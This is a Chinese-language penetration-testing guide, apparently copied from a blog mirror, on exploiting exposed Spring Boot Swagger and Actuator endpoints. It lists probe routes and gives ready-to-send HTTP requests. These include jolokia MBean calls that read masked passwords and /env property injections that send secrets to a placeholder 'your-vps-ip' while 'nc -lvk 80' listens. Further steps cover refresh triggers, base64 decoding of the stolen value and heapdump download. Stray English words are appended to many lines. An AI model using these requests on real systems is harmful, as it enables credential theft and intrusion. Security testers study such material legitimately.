最新互聯網大廠面試真題、Java程序員面試策略(面試前的準備、面試中的技巧)請移步GitHubhtml
開發環境切換爲線上生產環境時,相關人員沒有更改配置文件或忘記切換配置環境,致使此漏洞git
直接訪問如下幾個路由,驗證漏洞是否存在:程序員
/api-docs /v2/api-docs /swagger-ui.html
一些可能會遇到的接口路由變形:github
/api.html /sw/swagger-ui.html /api/swagger-ui.html /template/swagger-ui.html /spring-security-rest/api/swagger-ui.html /spring-security-oauth-resource/swagger-ui.html
除此以外,下面的路由有時也會包含(或推測出)一些接口地址信息,可是沒法得到參數相關信息:面試
/mappings /actuator/mappings /metrics /actuator/metrics /beans /actuator/beans /configprops /actuator/configprops
通常來說,知道 spring boot 應用的相關接口和傳參信息並不能算是漏洞;spring
可是能夠檢查暴露的接口是否存在未受權訪問、越權或者其餘業務型漏洞。json
主要是由於程序員開發時沒有意識到暴露路由可能會形成安全風險,或者沒有按照標準流程開發,忘記上線時須要修改/切換生產環境的配置bootstrap
/actuator /auditevents /autoconfig /beans /caches /conditions /configprops /docs /dump /env /flyway /health /heapdump /httptrace /info /intergrationgraph /jolokia /logfile /loggers /liquibase /metrics /mappings /prometheus /refresh /scheduledtasks /sessions /shutdown /trace /threaddump /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream其中對尋找漏洞比較重要接口的有:api
/env、/actuator/env:GET 請求 /env 會泄露環境變量信息,或者配置中的一些用戶名,當程序員的屬性名命名不規範 (例如 password 寫成 psasword、pwd) 時,會泄露密碼明文;同時有必定機率能夠經過 POST 請求 /env 接口設置一些屬性,觸發相關 RCE 漏洞。安全
/jolokia:經過 /jolokia/list 接口尋找能夠利用的 MBean,觸發相關 RCE 漏洞;
訪問 /env 接口時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用 * 號替換達到脫敏的效果
利用條件:
利用方法:
步驟一: 找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名。
步驟二: jolokia 調用相關 Mbean 獲取明文
將下面示例中的 security.user.password 替換爲實際要獲取的屬性名,直接發包;明文值結果包含在 response 數據包中的 value 鍵中。
調用 org.springframework.boot Mbean(可能更通用)
其實是調用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 類實例的 getProperty 方法
spring 1.x
POST /jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
調用 org.springframework.cloud.context.environment Mbean(須要 spring cloud 相關依賴)
其實是調用 org.springframework.cloud.context.environment.EnvironmentManager 類實例的 getProperty 方法
spring 1.x
POST /jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
訪問 /env 接口時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用 * 號替換達到脫敏的效果
利用條件:
利用方法:
步驟一: 找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名。
步驟二: 使用 nc 監聽 HTTP 請求
在本身控制的外網服務器上監聽 80 端口:
nc -lvk 80
步驟三: 設置 eureka.client.serviceUrl.defaultZone 屬性
將下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 換成本身想要獲取的對應的星號 * 遮掩的屬性名;
your-vps-ip 換成本身外網服務器的真實 ip 地址。
spring 1.x
POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
步驟四: 刷新配置
spring 1.x
POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh Content-Type: application/json
步驟五: 解碼屬性值
正常的話,此時 nc 監聽的服務器會收到目標發來的請求,其中包含相似以下 Authorization 頭內容:
Authorization: Basic dmFsdWU6MTIzNDU2
將其中的 dmFsdWU6MTIzNDU2部分使用 base64 解碼,便可得到相似明文值 value:123456,其中的 123456 便是目標星號 * 脫敏前的屬性值明文。
訪問 /env 接口時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用 * 號替換達到脫敏的效果
利用條件:
利用方法:
參考 UUUUnotfound 提出的 issue-1,能夠在目標發外部 http 請求的過程當中,在 url path 中利用佔位符帶出數據
步驟一: 找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名。
步驟二: 使用 nc 監聽 HTTP 請求
在本身控制的外網服務器上監聽 80 端口:
nc -lvk 80
步驟三: 觸發對外 http 請求
spring.cloud.bootstrap.location 方法(同時適用於明文數據中有特殊 url 字符的狀況):
spring 1.x
POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
eureka.client.serviceUrl.defaultZone 方法(不適用於明文數據中有特殊 url 字符的狀況):
spring 1.x
POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password} spring 2.x POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
步驟四: 刷新配置
spring 1.x
POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh Content-Type: application/json
訪問 /env 接口時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用 * 號替換達到脫敏的效果
利用條件:
利用方法:
步驟一: 找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 接口,搜索 ** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名。
步驟二: 下載 jvm heap 信息
下載的 heapdump 文件大小一般在 50M—500M 之間,有時候也可能會大於 2G
GET 請求目標的 /heapdump 或 /actuator/heapdump 接口,下載應用實時的 JVM 堆信息
步驟三: 使用 MAT 得到 jvm heap 中的密碼明文